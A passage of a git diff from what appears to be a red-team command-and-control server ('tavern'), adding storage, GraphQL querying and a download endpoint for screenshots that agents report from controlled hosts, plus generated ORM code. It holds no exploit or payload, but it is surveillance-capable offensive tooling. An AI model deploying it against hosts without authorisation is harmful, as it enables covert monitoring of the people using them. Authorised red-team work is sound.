-// Requires gRPC-Go v1.62.0 or later. -const _ = grpc.SupportPackageIsVersion8 - -const ( - Builder_ClaimBuildTasks_FullMethodName = "/builder.Builder/ClaimBuildTasks" - Builder_StreamBuildTaskOutput_FullMethodName = "/builder.Builder/StreamBuildTaskOutput" - Builder_UploadBuildArtifact_FullMethodName = "/builder.Builder/UploadBuildArtifact" -) +const _ = grpc.SupportPackageIsVersion7 // BuilderClient is the client API for Builder service. // @@ -42,9 +31,8 @@ func NewBuilderClient(cc grpc.ClientConnInterface) BuilderClient { } func (c *builderClient) ClaimBuildTasks(ctx context.Context, in *ClaimBuildTasksRequest, opts ...grpc.CallOption) (*ClaimBuildTasksResponse, error) { - cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) out := new(ClaimBuildTasksResponse) - err := c.cc.Invoke(ctx, Builder_ClaimBuildTasks_FullMethodName, in, out, cOpts...) + err := c.cc.Invoke(ctx, "/builder.Builder/ClaimBuildTasks", in, out, opts...) if err != nil { return nil, err } @@ -52,12 +40,11 @@ func (c *builderClient) ClaimBuildTasks(ctx context.Context, in *ClaimBuildTasks } func (c *builderClient) StreamBuildTaskOutput(ctx context.Context, opts ...grpc.CallOption) (Builder_StreamBuildTaskOutputClient, error) { - cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) - stream, err := c.cc.NewStream(ctx, &Builder_ServiceDesc.Streams[0], Builder_StreamBuildTaskOutput_FullMethodName, cOpts...) + stream, err := c.cc.NewStream(ctx, &_Builder_serviceDesc.Streams[0], "/builder.Builder/StreamBuildTaskOutput", opts...) if err != nil { return nil, err } - x := &builderStreamBuildTaskOutputClient{ClientStream: stream} + x := &builderStreamBuildTaskOutputClient{stream} return x, nil } @@ -87,12 +74,11 @@ func (x *builderStreamBuildTaskOutputClient) CloseAndRecv() (*StreamBuildTaskOut } func (c *builderClient) UploadBuildArtifact(ctx context.Context, opts ...grpc.CallOption) (Builder_UploadBuildArtifactClient, error) { - cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) - stream, err := c.cc.NewStream(ctx, &Builder_ServiceDesc.Streams[1], Builder_UploadBuildArtifact_FullMethodName, cOpts...) + stream, err := c.cc.NewStream(ctx, &_Builder_serviceDesc.Streams[1], "/builder.Builder/UploadBuildArtifact", opts...) if err != nil { return nil, err } - x := &builderUploadBuildArtifactClient{ClientStream: stream} + x := &builderUploadBuildArtifactClient{stream} return x, nil } @@ -153,8 +139,8 @@ type UnsafeBuilderServer interface { mustEmbedUnimplementedBuilderServer() } -func RegisterBuilderServer(s grpc.ServiceRegistrar, srv BuilderServer) { - s.RegisterService(&Builder_ServiceDesc, srv) +func RegisterBuilderServer(s *grpc.Server, srv BuilderServer) { + s.RegisterService(&_Builder_serviceDesc, srv) } func _Builder_ClaimBuildTasks_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { @@ -167,7 +153,7 @@ func _Builder_ClaimBuildTasks_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: Builder_ClaimBuildTasks_FullMethodName, + FullMethod: "/builder.Builder/ClaimBuildTasks", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(BuilderServer).ClaimBuildTasks(ctx, req.(*ClaimBuildTasksRequest)) @@ -176,7 +162,7 @@ func _Builder_ClaimBuildTasks_Handler(srv interface{}, ctx context.Context, dec } func _Builder_StreamBuildTaskOutput_Handler(srv interface{}, stream grpc.ServerStream) error { - return srv.(BuilderServer).StreamBuildTaskOutput(&builderStreamBuildTaskOutputServer{ServerStream: stream}) + return srv.(BuilderServer).StreamBuildTaskOutput(&builderStreamBuildTaskOutputServer{stream}) } type Builder_StreamBuildTaskOutputServer interface { @@ -202,7 +188,7 @@ func (x *builderStreamBuildTaskOutputServer) Recv() (*StreamBuildTaskOutputReque } func _Builder_UploadBuildArtifact_Handler(srv interface{}, stream grpc.ServerStream) error { - return srv.(BuilderServer).UploadBuildArtifact(&builderUploadBuildArtifactServer{ServerStream: stream}) + return srv.(BuilderServer).UploadBuildArtifact(&builderUploadBuildArtifactServer{stream}) } type Builder_UploadBuildArtifactServer interface { @@ -227,10 +213,7 @@ func (x *builderUploadBuildArtifactServer) Recv() (*UploadBuildArtifactRequest, return m, nil } -// Builder_ServiceDesc is the grpc.ServiceDesc for Builder service. -// It's only intended for direct use with grpc.RegisterService, -// and not to be introspected or modified (even as a copy) -var Builder_ServiceDesc = grpc.ServiceDesc{ +var _Builder_serviceDesc = grpc.ServiceDesc{ ServiceName: "builder.Builder", HandlerType: (*BuilderServer)(nil), Methods: []grpc.MethodDesc{ diff --git a/tavern/internal/c2/api_report_file.go b/tavern/internal/c2/api_report_file.go index 7932058fb..a965cad98 100644 --- a/tavern/internal/c2/api_report_file.go +++ b/tavern/internal/c2/api_report_file.go @@ -23,6 +23,7 @@ func (srv *Server) ReportFile(stream c2pb.C2_ReportFileServer) error { permissions string size uint64 hash string + kind c2pb.ReportFileKind content []byte ) @@ -40,6 +41,10 @@ func (srv *Server) ReportFile(stream c2pb.C2_ReportFileServer) error { } // Collect args + if kind == c2pb.ReportFileKind_REPORT_FILE_KIND_UNSPECIFIED { + kind = req.GetKind() + } + if taskID == 0 && shellTaskID == 0 { if tc := req.GetTaskContext(); tc != nil { taskID = tc.TaskId @@ -110,13 +115,18 @@ func (srv *Server) ReportFile(stream c2pb.C2_ReportFileServer) error { host = h } - // Load Existing Files - existingFiles, err := host.QueryFiles(). - Where( - hostfile.Path(path), - ).All(ctx) - if err != nil { - return status.Errorf(codes.Internal, "failed to load existing host files: %v", err) + isScreenshot := kind == c2pb.ReportFileKind_REPORT_FILE_KIND_SCREENSHOT + + // Load Existing Files (only for HostFile) + var existingFiles []*ent.HostFile + if !isScreenshot { + existingFiles, err = host.QueryFiles(). + Where( + hostfile.Path(path), + ).All(ctx) + if err != nil { + return status.Errorf(codes.Internal, "failed to load existing host files: %v", err) + } } // Prepare Transaction @@ -134,36 +144,57 @@ func (srv *Server) ReportFile(stream c2pb.C2_ReportFileServer) error { } }() - // Create File - builder := client.HostFile.Create(). - SetHostID(host.ID). - SetPath(path). - SetOwner(owner). - SetGroup(group). - SetPermissions(permissions). - SetSize(size). - SetHash(hash). - SetContent(content) - - if task != nil { - builder.SetTaskID(task.ID) - } - if shellTask != nil { - builder.SetShellTaskID(shellTask.ID) - } + if isScreenshot { + builder := client.Screenshot.Create(). + SetHostID(host.ID). + SetName(path). + SetSize(size). + SetHash(hash). + SetContent(content) - f, err := builder.Save(ctx) - if err != nil { - return rollback(tx, fmt.Errorf("failed to create host file: %w", err)) - } + if task != nil { + builder.SetTaskID(task.ID) + } + if shellTask != nil { + builder.SetShellTaskID(shellTask.ID) + } - // Clear Previous Files, Set New File - _, err = client.Host.UpdateOneID(host.ID). - AddFiles(f). - RemoveFiles(existingFiles...). - Save(ctx) - if err != nil { - return rollback(tx, fmt.Errorf("failed to remove previous host files: %w", err)) + _, err = builder.Save(ctx) + if err != nil { + return rollback(tx, fmt.Errorf("failed to create screenshot: %w", err)) + } + } else { + // Create File + builder := client.HostFile.Create(). + SetHostID(host.ID). + SetPath(path). + SetOwner(owner). + SetGroup(group). + SetPermissions(permissions). + SetSize(size). + SetHash(hash). + SetContent(content) + + if task != nil { + builder.SetTaskID(task.ID) + } + if shellTask != nil { + builder.SetShellTaskID(shellTask.ID) + } + + f, err := builder.Save(ctx) + if err != nil { + return rollback(tx, fmt.Errorf("failed to create host file: %w", err)) + } + + // Clear Previous Files, Set New File + _, err = client.Host.UpdateOneID(host.ID). + AddFiles(f). + RemoveFiles(existingFiles...). + Save(ctx) + if err != nil { + return rollback(tx, fmt.Errorf("failed to remove previous host files: %w", err)) + } } // Commit Transaction diff --git a/tavern/internal/cdn/download_screenshot.go b/tavern/internal/cdn/download_screenshot.go new file mode 100644 index 000000000..cdddfd4b6 --- /dev/null +++ b/tavern/internal/cdn/download_screenshot.go @@ -0,0 +1,55 @@ +package cdn + +import ( + "bytes" + "net/http" + "path/filepath" + "strconv" + "strings" + + "realm.pub/tavern/internal/ent" + "realm.pub/tavern/internal/ent/screenshot" + "realm.pub/tavern/internal/errors" +) + +// NewScreenshotDownloadHandler returns an HTTP handler responsible for downloading a Screenshot from the CDN. +func NewScreenshotDownloadHandler(graph *ent.Client, prefix string) http.Handler { + return errors.WrapHandler(func(w http.ResponseWriter, req *http.Request) error { + ctx := req.Context() + + // Get the Screenshot ID from the request URI + fileIDStr := strings.TrimPrefix(req.URL.Path, prefix) + if fileIDStr == "" || fileIDStr == "." || fileIDStr == "/" || len(fileIDStr) > maxFileIDLen { + return ErrInvalidFileID + } + fileID, err := strconv.Atoi(fileIDStr) + if err != nil { + return ErrInvalidFileID + } + + fileQuery := graph.Screenshot.Query().Where(screenshot.ID(fileID)) + + // If hash was provided, check to see if the file has been updated. + if hash := req.Header.Get(HeaderIfNoneMatch); hash != "" { + if exists := fileQuery.Clone().Where(screenshot.Hash(hash)).ExistX(ctx); exists { + return ErrFileNotModified + } + } + + // Ensure the file exists + if exists := fileQuery.Clone().ExistX(ctx); !exists { + return ErrFileNotFound + } + + f := fileQuery.OnlyX(ctx) + + // Set Etag to hash of file + w.Header().Set(HeaderEtag, f.Hash) + + // Set Content-Type and serve content + w.Header().Set("Content-Type", "image/png") + http.ServeContent(w, req, filepath.Base(f.Name), f.CreatedAt, bytes.NewReader(f.Content)) + + return nil + }) +} diff --git a/tavern/internal/ent/client.go b/tavern/internal/ent/client.go index f778d9700..132f5a05f 100644 --- a/tavern/internal/ent/client.go +++ b/tavern/internal/ent/client.go @@ -27,6 +27,7 @@ import ( "realm.pub/tavern/internal/ent/portal" "realm.pub/tavern/internal/ent/quest" "realm.pub/tavern/internal/ent/repository" + "realm.pub/tavern/internal/ent/screenshot" "realm.pub/tavern/internal/ent/shell" "realm.pub/tavern/internal/ent/shelltask" "realm.pub/tavern/internal/ent/tag" @@ -64,6 +65,8 @@ type Client struct { Quest *QuestClient // Repository is the client for interacting with the Repository builders. Repository *RepositoryClient + // Screenshot is the client for interacting with the Screenshot builders. + Screenshot *ScreenshotClient // Shell is the client for interacting with the Shell builders. Shell *ShellClient // ShellTask is the client for interacting with the ShellTask builders. @@ -101,6 +104,7 @@ func (c *Client) init() { c.Portal = NewPortalClient(c.config) c.Quest = NewQuestClient(c.config) c.Repository = NewRepositoryClient(c.config) + c.Screenshot = NewScreenshotClient(c.config) c.Shell = NewShellClient(c.config) c.ShellTask = NewShellTaskClient(c.config) c.Tag = NewTagClient(c.config) @@ -211,6 +215,7 @@ func (c *Client) Tx(ctx context.Context) (*Tx, error) { Portal: NewPortalClient(cfg), Quest: NewQuestClient(cfg), Repository: NewRepositoryClient(cfg), + Screenshot: NewScreenshotClient(cfg), Shell: NewShellClient(cfg), ShellTask: NewShellTaskClient(cfg), Tag: NewTagClient(cfg), @@ -248,6 +253,7 @@ func (c *Client) BeginTx(ctx context.Context, opts *sql.TxOptions) (*Tx, error) Portal: NewPortalClient(cfg), Quest: NewQuestClient(cfg), Repository: NewRepositoryClient(cfg), + Screenshot: NewScreenshotClient(cfg), Shell: NewShellClient(cfg), ShellTask: NewShellTaskClient(cfg), Tag: NewTagClient(cfg), @@ -284,8 +290,8 @@ func (c *Client) Close() error { func (c *Client) Use(hooks ...Hook) { for _, n := range []interface{ Use(...Hook) }{ c.Asset, c.Beacon, c.BuildTask, c.Builder, c.Host, c.HostCredential, c.HostFile, - c.HostProcess, c.Link, c.Portal, c.Quest, c.Repository, c.Shell, c.ShellTask, - c.Tag, c.Task, c.Tome, c.User, + c.HostProcess, c.Link, c.Portal, c.Quest, c.Repository, c.Screenshot, c.Shell, + c.ShellTask, c.Tag, c.Task, c.Tome, c.User, } { n.Use(hooks...) } @@ -296,8 +302,8 @@ func (c *Client) Use(hooks ...Hook) { func (c *Client) Intercept(interceptors ...Interceptor) { for _, n := range []interface{ Intercept(...Interceptor) }{ c.Asset, c.Beacon, c.BuildTask, c.Builder, c.Host, c.HostCredential, c.HostFile, - c.HostProcess, c.Link, c.Portal, c.Quest, c.Repository, c.Shell, c.ShellTask, - c.Tag, c.Task, c.Tome, c.User, + c.HostProcess, c.Link, c.Portal, c.Quest, c.Repository, c.Screenshot, c.Shell, + c.ShellTask, c.Tag, c.Task, c.Tome, c.User, } { n.Intercept(interceptors...) } @@ -330,6 +336,8 @@ func (c *Client) Mutate(ctx context.Context, m Mutation) (Value, error) { return c.Quest.mutate(ctx, m) case *RepositoryMutation: return c.Repository.mutate(ctx, m) + case *ScreenshotMutation: + return c.Screenshot.mutate(ctx, m) case *ShellMutation: return c.Shell.mutate(ctx, m) case *ShellTaskMutation: @@ -1213,6 +1221,22 @@ func (c *HostClient) QueryCredentials(h *Host) *HostCredentialQuery { return query } +// QueryScreenshots queries the screenshots edge of a Host. +func (c *HostClient) QueryScreenshots(h *Host) *ScreenshotQuery { + query := (&ScreenshotClient{config: c.config}).Query() + query.path = func(context.Context) (fromV *sql.Selector, _ error) { + id := h.ID + step := sqlgraph.NewStep( + sqlgraph.From(host.Table, host.FieldID, id), + sqlgraph.To(screenshot.Table, screenshot.FieldID), + sqlgraph.Edge(sqlgraph.O2M, true, host.ScreenshotsTable, host.ScreenshotsColumn), + ) + fromV = sqlgraph.Neighbors(h.driver.Dialect(), step) + return fromV, nil + } + return query +} + // Hooks returns the client hooks. func (c *HostClient) Hooks() []Hook { return c.hooks.Host @@ -2523,6 +2547,188 @@ func (c *RepositoryClient) mutate(ctx context.Context, m *RepositoryMutation) (V } } +// ScreenshotClient is a client for the Screenshot schema. +type ScreenshotClient struct { + config +} + +// NewScreenshotClient returns a client for the Screenshot from the given config. +func NewScreenshotClient(c config) *ScreenshotClient { + return &ScreenshotClient{config: c} +} + +// Use adds a list of mutation hooks to the hooks stack. +// A call to `Use(f, g, h)` equals to `screenshot.Hooks(f(g(h())))`. +func (c *ScreenshotClient) Use(hooks ...Hook) { + c.hooks.Screenshot = append(c.hooks.Screenshot, hooks...) +} + +// Intercept adds a list of query interceptors to the interceptors stack. +// A call to `Intercept(f, g, h)` equals to `screenshot.Intercept(f(g(h())))`. +func (c *ScreenshotClient) Intercept(interceptors ...Interceptor) { + c.inters.Screenshot = append(c.inters.Screenshot, interceptors...) +} + +// Create returns a builder for creating a Screenshot entity. +func (c *ScreenshotClient) Create() *ScreenshotCreate { + mutation := newScreenshotMutation(c.config, OpCreate) + return &ScreenshotCreate{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// CreateBulk returns a builder for creating a bulk of Screenshot entities. +func (c *ScreenshotClient) CreateBulk(builders ...*ScreenshotCreate) *ScreenshotCreateBulk { + return &ScreenshotCreateBulk{config: c.config, builders: builders} +} + +// MapCreateBulk creates a bulk creation builder from the given slice. For each item in the slice, the function creates +// a builder and applies setFunc on it. +func (c *ScreenshotClient) MapCreateBulk(slice any, setFunc func(*ScreenshotCreate, int)) *ScreenshotCreateBulk { + rv := reflect.ValueOf(slice) + if rv.Kind() != reflect.Slice { + return &ScreenshotCreateBulk{err: fmt.Errorf("calling to ScreenshotClient.MapCreateBulk with wrong type %T, need slice", slice)} + } + builders := make([]*ScreenshotCreate, rv.Len()) + for i := 0; i < rv.Len(); i++ { + builders[i] = c.Create() + setFunc(builders[i], i) + } + return &ScreenshotCreateBulk{config: c.config, builders: builders} +} + +// Update returns an update builder for Screenshot. +func (c *ScreenshotClient) Update() *ScreenshotUpdate { + mutation := newScreenshotMutation(c.config, OpUpdate) + return &ScreenshotUpdate{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// UpdateOne returns an update builder for the given entity. +func (c *ScreenshotClient) UpdateOne(s *Screenshot) *ScreenshotUpdateOne { + mutation := newScreenshotMutation(c.config, OpUpdateOne, withScreenshot(s)) + return &ScreenshotUpdateOne{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// UpdateOneID returns an update builder for the given id. +func (c *ScreenshotClient) UpdateOneID(id int) *ScreenshotUpdateOne { + mutation := newScreenshotMutation(c.config, OpUpdateOne, withScreenshotID(id)) + return &ScreenshotUpdateOne{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// Delete returns a delete builder for Screenshot. +func (c *ScreenshotClient) Delete() *ScreenshotDelete { + mutation := newScreenshotMutation(c.config, OpDelete) + return &ScreenshotDelete{config: c.config, hooks: c.Hooks(), mutation: mutation} +} + +// DeleteOne returns a builder for deleting the given entity. +func (c *ScreenshotClient) DeleteOne(s *Screenshot) *ScreenshotDeleteOne { + return c.DeleteOneID(s.ID) +} + +// DeleteOneID returns a builder for deleting the given entity by its id. +func (c *ScreenshotClient) DeleteOneID(id int) *ScreenshotDeleteOne { + builder := c.Delete().Where(screenshot.ID(id)) + builder.mutation.id = &id + builder.mutation.op = OpDeleteOne + return &ScreenshotDeleteOne{builder} +} + +// Query returns a query builder for Screenshot. +func (c *ScreenshotClient) Query() *ScreenshotQuery { + return &ScreenshotQuery{ + config: c.config, + ctx: &QueryContext{Type: TypeScreenshot}, + inters: c.Interceptors(), + } +} + +// Get returns a Screenshot entity by its id. +func (c *ScreenshotClient) Get(ctx context.Context, id int) (*Screenshot, error) { + return c.Query().Where(screenshot.ID(id)).Only(ctx) +} + +// GetX is like Get, but panics if an error occurs. +func (c *ScreenshotClient) GetX(ctx context.Context, id int) *Screenshot { + obj, err := c.Get(ctx, id) + if err != nil { + panic(err) + } + return obj +} + +// QueryHost queries the host edge of a Screenshot. +func (c *ScreenshotClient) QueryHost(s *Screenshot) *HostQuery { + query := (&HostClient{config: c.config}).Query() + query.path = func(context.Context) (fromV *sql.Selector, _ error) { + id := s.ID + step := sqlgraph.NewStep( + sqlgraph.From(screenshot.Table, screenshot.FieldID, id), + sqlgraph.To(host.Table, host.FieldID), + sqlgraph.Edge(sqlgraph.M2O, false, screenshot.HostTable, screenshot.HostColumn), + ) + fromV = sqlgraph.Neighbors(s.driver.Dialect(), step) + return fromV, nil + } + return query +} + +// QueryTask queries the task edge of a Screenshot. +func (c *ScreenshotClient) QueryTask(s *Screenshot) *TaskQuery { + query := (&TaskClient{config: c.config}).Query() + query.path = func(context.Context) (fromV *sql.Selector, _ error) { + id := s.ID + step := sqlgraph.NewStep( + sqlgraph.From(screenshot.Table, screenshot.FieldID, id), + sqlgraph.To(task.Table, task.FieldID), + sqlgraph.Edge(sqlgraph.M2O, true, screenshot.TaskTable, screenshot.TaskColumn), + ) + fromV = sqlgraph.Neighbors(s.driver.Dialect(), step) + return fromV, nil + } + return query +} + +// QueryShellTask queries the shell_task edge of a Screenshot. +func (c *ScreenshotClient) QueryShellTask(s *Screenshot) *ShellTaskQuery { + query := (&ShellTaskClient{config: c.config}).Query() + query.path = func(context.Context) (fromV *sql.Selector, _ error) { + id := s.ID + step := sqlgraph.NewStep( + sqlgraph.From(screenshot.Table, screenshot.FieldID, id), + sqlgraph.To(shelltask.Table, shelltask.FieldID), + sqlgraph.Edge(sqlgraph.M2O, true, screenshot.ShellTaskTable, screenshot.ShellTaskColumn), + ) + fromV = sqlgraph.Neighbors(s.driver.Dialect(), step) + return fromV, nil + } + return query +} + +// Hooks returns the client hooks. +func (c *ScreenshotClient) Hooks() []Hook { + hooks := c.hooks.Screenshot + return append(hooks[:len(hooks):len(hooks)], screenshot.Hooks[:]...) +} + +// Interceptors returns the client interceptors. +func (c *ScreenshotClient) Interceptors() []Interceptor { + return c.inters.Screenshot +} + +func (c *ScreenshotClient) mutate(ctx context.Context, m *ScreenshotMutation) (Value, error) { + switch m.Op() { + case OpCreate: + return (&ScreenshotCreate{config: c.config, hooks: c.Hooks(), mutation: m}).Save(ctx) + case OpUpdate: + return (&ScreenshotUpdate{config: c.config, hooks: c.Hooks(), mutation: m}).Save(ctx) + case OpUpdateOne: + return (&ScreenshotUpdateOne{config: c.config, hooks: c.Hooks(), mutation: m}).Save(ctx) + case OpDelete, OpDeleteOne: + return (&ScreenshotDelete{config: c.config, hooks: c.Hooks(), mutation: m}).Exec(ctx) + default: + return nil, fmt.Errorf("ent: unknown Screenshot mutation op: %q", m.Op()) + } +} + // ShellClient is a client for the Shell schema. type ShellClient struct { config @@ -2940,6 +3146,22 @@ func (c *ShellTaskClient) QueryReportedProcesses(st *ShellTask) *HostProcessQuer return query } +// QueryScreenshots queries the screenshots edge of a ShellTask. +func (c *ShellTaskClient) QueryScreenshots(st *ShellTask) *ScreenshotQuery { + query := (&ScreenshotClient{config: c.config}).Query() + query.path = func(context.Context) (fromV *sql.Selector, _ error) { + id := st.ID + step := sqlgraph.NewStep( + sqlgraph.From(shelltask.Table, shelltask.FieldID, id), + sqlgraph.To(screenshot.Table, screenshot.FieldID), + sqlgraph.Edge(sqlgraph.O2M, false, shelltask.ScreenshotsTable, shelltask.ScreenshotsColumn), + ) + fromV = sqlgraph.Neighbors(st.driver.Dialect(), step) + return fromV, nil + } + return query +} + // Hooks returns the client hooks. func (c *ShellTaskClient) Hooks() []Hook { return c.hooks.ShellTask @@ -3318,6 +3540,22 @@ func (c *TaskClient) QueryShells(t *Task) *ShellQuery { return query } +// QueryScreenshots queries the screenshots edge of a Task. +func (c *TaskClient) QueryScreenshots(t *Task) *ScreenshotQuery { + query := (&ScreenshotClient{config: c.config}).Query() + query.path = func(context.Context) (fromV *sql.Selector, _ error) { + id := t.ID + step := sqlgraph.NewStep( + sqlgraph.From(task.Table, task.FieldID, id), + sqlgraph.To(screenshot.Table, screenshot.FieldID), + sqlgraph.Edge(sqlgraph.O2M, false, task.ScreenshotsTable, task.ScreenshotsColumn), + ) + fromV = sqlgraph.Neighbors(t.driver.Dialect(), step) + return fromV, nil + } + return query +} + // Hooks returns the client hooks. func (c *TaskClient) Hooks() []Hook { hooks := c.hooks.Task @@ -3711,12 +3949,12 @@ func (c *UserClient) mutate(ctx context.Context, m *UserMutation) (Value, error) type ( hooks struct { Asset, Beacon, BuildTask, Builder, Host, HostCredential, HostFile, HostProcess, - Link, Portal, Quest, Repository, Shell, ShellTask, Tag, Task, Tome, + Link, Portal, Quest, Repository, Screenshot, Shell, ShellTask, Tag, Task, Tome, User []ent.Hook } inters struct { Asset, Beacon, BuildTask, Builder, Host, HostCredential, HostFile, HostProcess, - Link, Portal, Quest, Repository, Shell, ShellTask, Tag, Task, Tome, + Link, Portal, Quest, Repository, Screenshot, Shell, ShellTask, Tag, Task, Tome, User []ent.Interceptor } ) diff --git a/tavern/internal/ent/ent.go b/tavern/internal/ent/ent.go index 13ca7d122..132e5fe22 100644 --- a/tavern/internal/ent/ent.go +++ b/tavern/internal/ent/ent.go @@ -24,6 +24,7 @@ import ( "realm.pub/tavern/internal/ent/portal" "realm.pub/tavern/internal/ent/quest" "realm.pub/tavern/internal/ent/repository" + "realm.pub/tavern/internal/ent/screenshot" "realm.pub/tavern/internal/ent/shell" "realm.pub/tavern/internal/ent/shelltask" "realm.pub/tavern/internal/ent/tag" @@ -102,6 +103,7 @@ func checkColumn(table, column string) error { portal.Table: portal.ValidColumn, quest.Table: quest.ValidColumn, repository.Table: repository.ValidColumn, + screenshot.Table: screenshot.ValidColumn, shell.Table: shell.ValidColumn, shelltask.Table: shelltask.ValidColumn, tag.Table: tag.ValidColumn, diff --git a/tavern/internal/ent/gql_collection.go b/tavern/internal/ent/gql_collection.go index 299b0eecb..3b314dffa 100644 --- a/tavern/internal/ent/gql_collection.go +++ b/tavern/internal/ent/gql_collection.go @@ -22,6 +22,7 @@ import ( "realm.pub/tavern/internal/ent/portal" "realm.pub/tavern/internal/ent/quest" "realm.pub/tavern/internal/ent/repository" + "realm.pub/tavern/internal/ent/screenshot" "realm.pub/tavern/internal/ent/shell" "realm.pub/tavern/internal/ent/shelltask" "realm.pub/tavern/internal/ent/tag" @@ -1538,6 +1539,95 @@ func (h *HostQuery) collectField(ctx context.Context, oneNode bool, opCtx *graph h.WithNamedCredentials(alias, func(wq *HostCredentialQuery) { *wq = *query }) + + case "screenshots": + var ( + alias = field.Alias + path = append(path, alias) + query = (&ScreenshotClient{config: h.config}).Query() + ) + args := newScreenshotPaginateArgs(fieldArgs(ctx, new(ScreenshotWhereInput), path...)) + if err := validateFirstLast(args.first, args.last); err != nil { + return fmt.Errorf("validate first and last in path %q: %w", path, err) + } + pager, err := newScreenshotPager(args.opts, args.last != nil) + if err != nil { + return fmt.Errorf("create new pager in path %q: %w", path, err) + } + if query, err = pager.applyFilter(query); err != nil { + return err + } + ignoredEdges := !hasCollectedField(ctx, append(path, edgesField)...) + if hasCollectedField(ctx, append(path, totalCountField)...) || hasCollectedField(ctx, append(path, pageInfoField)...) { + hasPagination := args.after != nil || args.first != nil || args.before != nil || args.last != nil + if hasPagination || ignoredEdges { + query := query.Clone() + h.loadTotal = append(h.loadTotal, func(ctx context.Context, nodes []*Host) error { + ids := make([]driver.Value, len(nodes)) + for i := range nodes { + ids[i] = nodes[i].ID + } + var v []struct { + NodeID int `sql:"screenshot_host"` + Count int `sql:"count"` + } + query.Where(func(s *sql.Selector) { + s.Where(sql.InValues(s.C(host.ScreenshotsColumn), ids...)) + }) + if err := query.GroupBy(host.ScreenshotsColumn).Aggregate(Count()).Scan(ctx, &v); err != nil { + return err + } + m := make(map[int]int, len(v)) + for i := range v { + m[v[i].NodeID] = v[i].Count + } + for i := range nodes { + n := m[nodes[i].ID] + if nodes[i].Edges.totalCount[5] == nil { + nodes[i].Edges.totalCount[5] = make(map[string]int) + } + nodes[i].Edges.totalCount[5][alias] = n + } + return nil + }) + } else { + h.loadTotal = append(h.loadTotal, func(_ context.Context, nodes []*Host) error { + for i := range nodes { + n := len(nodes[i].Edges.Screenshots) + if nodes[i].Edges.totalCount[5] == nil { + nodes[i].Edges.totalCount[5] = make(map[string]int) + } + nodes[i].Edges.totalCount[5][alias] = n + } + return nil + }) + } + } + if ignoredEdges || (args.first != nil && *args.first == 0) || (args.last != nil && *args.last == 0) { + continue + } + if query, err = pager.applyCursors(query, args.after, args.before); err != nil { + return err + } + path = append(path, edgesField, nodeField) + if field := collectedField(ctx, path...); field != nil { + if err := query.collectField(ctx, false, opCtx, *field, path, mayAddCondition(satisfies, screenshotImplementors)...); err != nil { + return err + } + } + if limit := paginateLimit(args.first, args.last); limit > 0 { + if oneNode { + pager.applyOrder(query.Limit(limit)) + } else { + modify := entgql.LimitPerRow(host.ScreenshotsColumn, limit, pager.orderExpr(query)) + query.modifiers = append(query.modifiers, modify) + } + } else { + query = pager.applyOrder(query) + } + h.WithNamedScreenshots(alias, func(wq *ScreenshotQuery) { + *wq = *query + }) case "createdAt": if _, ok := fieldSeen[host.FieldCreatedAt]; !ok { selectedFields = append(selectedFields, host.FieldCreatedAt) @@ -2978,6 +3068,154 @@ func newRepositoryPaginateArgs(rv map[string]any) *repositoryPaginateArgs { return args } +// CollectFields tells the query-builder to eagerly load connected nodes by resolver context. +func (s *ScreenshotQuery) CollectFields(ctx context.Context, satisfies ...string) (*ScreenshotQuery, error) { + fc := graphql.GetFieldContext(ctx) + if fc == nil { + return s, nil + } + if err := s.collectField(ctx, false, graphql.GetOperationContext(ctx), fc.Field, nil, satisfies...); err != nil { + return nil, err + } + return s, nil +} + +func (s *ScreenshotQuery) collectField(ctx context.Context, oneNode bool, opCtx *graphql.OperationContext, collected graphql.CollectedField, path []string, satisfies ...string) error { + path = append([]string(nil), path...) + var ( + unknownSeen bool + fieldSeen = make(map[string]struct{}, len(screenshot.Columns)) + selectedFields = []string{screenshot.FieldID} + ) + for _, field := range graphql.CollectFields(opCtx, collected.Selections, satisfies) { + switch field.Name { + + case "host": + var ( + alias = field.Alias + path = append(path, alias) + query = (&HostClient{config: s.config}).Query() + ) + if err := query.collectField(ctx, oneNode, opCtx, field, path, mayAddCondition(satisfies, hostImplementors)...); err != nil { + return err + } + s.withHost = query + + case "task": + var ( + alias = field.Alias + path = append(path, alias) + query = (&TaskClient{config: s.config}).Query() + ) + if err := query.collectField(ctx, oneNode, opCtx, field, path, mayAddCondition(satisfies, taskImplementors)...); err != nil { + return err + } + s.withTask = query + + case "shellTask": + var ( + alias = field.Alias + path = append(path, alias) + query = (&ShellTaskClient{config: s.config}).Query() + ) + if err := query.collectField(ctx, oneNode, opCtx, field, path, mayAddCondition(satisfies, shelltaskImplementors)...); err != nil { + return err + } + s.withShellTask = query + case "createdAt": + if _, ok := fieldSeen[screenshot.FieldCreatedAt]; !ok { + selectedFields = append(selectedFields, screenshot.FieldCreatedAt) + fieldSeen[screenshot.FieldCreatedAt] = struct{}{} + } + case "lastModifiedAt": + if _, ok := fieldSeen[screenshot.FieldLastModifiedAt]; !ok { + selectedFields = append(selectedFields, screenshot.FieldLastModifiedAt) + fieldSeen[screenshot.FieldLastModifiedAt] = struct{}{} + } + case "name": + if _, ok := fieldSeen[screenshot.FieldName]; !ok { + selectedFields = append(selectedFields, screenshot.FieldName) + fieldSeen[screenshot.FieldName] = struct{}{} + } + case "size": + if _, ok := fieldSeen[screenshot.FieldSize]; !ok { + selectedFields = append(selectedFields, screenshot.FieldSize) + fieldSeen[screenshot.FieldSize] = struct{}{} + } + case "hash": + if _, ok := fieldSeen[screenshot.FieldHash]; !ok { + selectedFields = append(selectedFields, screenshot.FieldHash) + fieldSeen[screenshot.FieldHash] = struct{}{} + } + case "id": + case "__typename": + default: + unknownSeen = true + } + } + if !unknownSeen { + s.Select(selectedFields...) + } + return nil +} + +type screenshotPaginateArgs struct { + first, last *int + after, before *Cursor + opts []ScreenshotPaginateOption +} + +func newScreenshotPaginateArgs(rv map[string]any) *screenshotPaginateArgs { + args := &screenshotPaginateArgs{} + if rv == nil { + return args + } + if v := rv[firstField]; v != nil { + args.first = v.(*int) + } + if v := rv[lastField]; v != nil { + args.last = v.(*int) + } + if v := 